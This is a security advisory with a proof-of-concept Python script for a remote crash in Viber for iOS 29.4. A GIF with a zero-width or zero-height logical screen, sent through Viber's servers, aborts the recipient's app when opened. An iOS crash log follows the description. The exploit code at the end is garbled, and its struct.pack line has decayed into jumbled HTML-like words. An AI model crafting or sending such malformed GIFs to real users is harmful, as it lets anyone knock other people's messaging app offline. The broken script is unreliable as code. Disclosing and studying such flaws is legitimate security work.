Rakuten Viber (iOS) 29.4 Zero-Size Logical Screen GIF Remote 1-Tap Crash

<html><body><p>#!/usr/bin/env python
#
#
# Rakuten Viber (iOS) 29.4 Zero-Size Logical Screen GIF Remote 1-Tap Crash
#
#
# Vendor: Viber Media S.a.r.l.
# Product web page: https://www.viber.com
# Affected version: 29.4.0.24, 29.3, 29.2.2, 29.1.2
#
# Summary: Viber is a calling and messaging app that connects
# people - no matter who they are, or where they’re from. Each
# month, hundreds of millions of people connect, for free, with
# their loved ones via messaging, high-quality voice and video
# calls, and more. All one-on-one Viber calls and personal chats,
# and all group chats are protected by built-in end-to-end encryption,
# so you can be sure that your conversations are always secure.
#
# Desc: Viber for iOS doesn't validate the logical screen dimensions
# in the header of a received GIF. When the user opens the GIF,
# Viber builds a placeholder image sized from those dimensions by
# calling +[UIImage(Utils) imageWithColor:size:opaque:] (in ViberCoreUILegacy),
# which calls UIKit’s UIGraphicsBeginImageContextWithOptions. If
# the width or the height is zero, UIKit can't create the bitmap
# and raises an NSInternalInconsistencyException. Viber doesn't
# catch it, so the app aborts with SIGABRT on the main thread. Viber's
# servers relay the GIF unchanged, so any user can deliver it to
# any other user. Every GIF with a zero-width or zero-height canvas
# tested this way crashed, static and animated alike.
#
# -----------------------------------------------------------------
# Analytics Logs (.ips):
# ----------------------
# {"app_name":"Viber","timestamp":"2026-11-09 22:05:46.00 +0100",
# "app_version":"29.4.0","adam_id":"382617920","build_version":"29.4.0.24",
# "bundleID":"com.viber","platform":2,"share_with_app_devs":0,
# "is_first_party":0,"bug_type":"309","os_version":"iPhone OS 27.2 (24B119)",
# "roots_installed":0,"incident_id":"5CFE1C40-0D20-4443-A66E-1AB9BA871C19",
# "name":"Viber"}
# {
#   "uptime" : 280000,
#   "procRole" : "Foreground",
#   "version" : 2,
#   "userID" : 501,
#   "deployVersion" : 210,
#   "modelCode" : "iPhone16,1",
#   "coalitionID" : 4187,
#   "osVersion" : {
#     "isEmbedded" : true,
#     "train" : "iPhone OS 27.2",
#     "releaseType" : "User",
#     "build" : "24B119"
#   },
#   "pid" : 21071,
#   "translated" : false,
#   "cpuType" : "ARM-64",
#   "procLaunch" : "2026-11-09 20:37:38.3911 +0100",
#   "procStartAbsTime" : 6706306205584,
#   "procExitAbsTime" : 6753586345883,
#   "procName" : "Viber",
#   "bundleInfo" : {"CFBundleShortVersionString":"29.4.0",
#   "CFBundleVersion":"29.4.0.24","CFBundleIdentifier":"com.viber",
#   "DTAppStoreToolsBuild":"27B52"},
#   "storeInfo" : {"itemID":"382617920",
#   "distributorID":"com.apple.AppStore"
#   "deviceIdentifierForVendor":"44BF00D1-D4F8-4E51-AC41-5254EC95F1CC",
#   "softwareVersionExternalIdentifier":"894478921",
#   "applicationVariant":"1:iPhone16,1:18","thirdParty":true},
#   "parentProc" : "launchd",
#   "parentPid" : 1,
#   "coalitionName" : "com.viber",
#   "crashReporterKey" : "ff3c01a9c2d8cf219890b9b70be7316a4d5ceb35",
#   "bootProgressRegister" : "0x2080000c",
#   "wasUnlockedSinceBoot" : 1,
#   "isLocked" : 0,
#   "codeSigningID" : "com.viber",
#   "codeSigningTeamID" : "86ZW9CB9ZQ",
#   "codeSigningFlags" : 570450689,
#   "codeSigningValidationCategory" : 4,
#   "codeSigningTrustLevel" : 5,
#   "codeSigningAuxiliaryInfo" : 0,
#   "bootSessionUUID" : "8516C25F-E44E-47A8-A493-582D75EEE341",
#   "basebandVersion" : "4.02.05",
#   "exception" : {"codes":"0x0000000000000000, 0x0000000000000000","rawCodes":[0,0],
#   "type":"EXC_CRASH","signal":"SIGABRT"},
#   "termination" : {"flags":0,"code":6,"namespace":"SIGNAL","indicator":"Abort trap: 6",
#   "byProc":"Viber","byPid":21071},
#   "asi" : {"libsystem_c.dylib":["abort() called"]},
#   ...
#   ...
# -----------------------------------------------------------------
#
# Tested on: iOS 27.2 (24B119)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2026-6039
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6039
#
#
# 22.10.2026
#
#

import struct

gif = (
    b"GIF87a"
    + struct.pack("<hh ..="" ...="" aspect="" assert="" at="" b="" bg="" black="" bytes="" code="" color="" crashes="" data="" entries="" ff="" gif87a..........="" global="" height="" image="" it="" len="" logical="" lzw="" min="" one="" open="" or="" palette:="" print="" same="" screen:="" size="" struct.pack="" sub-block="" table="" the="" trailer="" way="" white="" width=""></hh></p></body></html>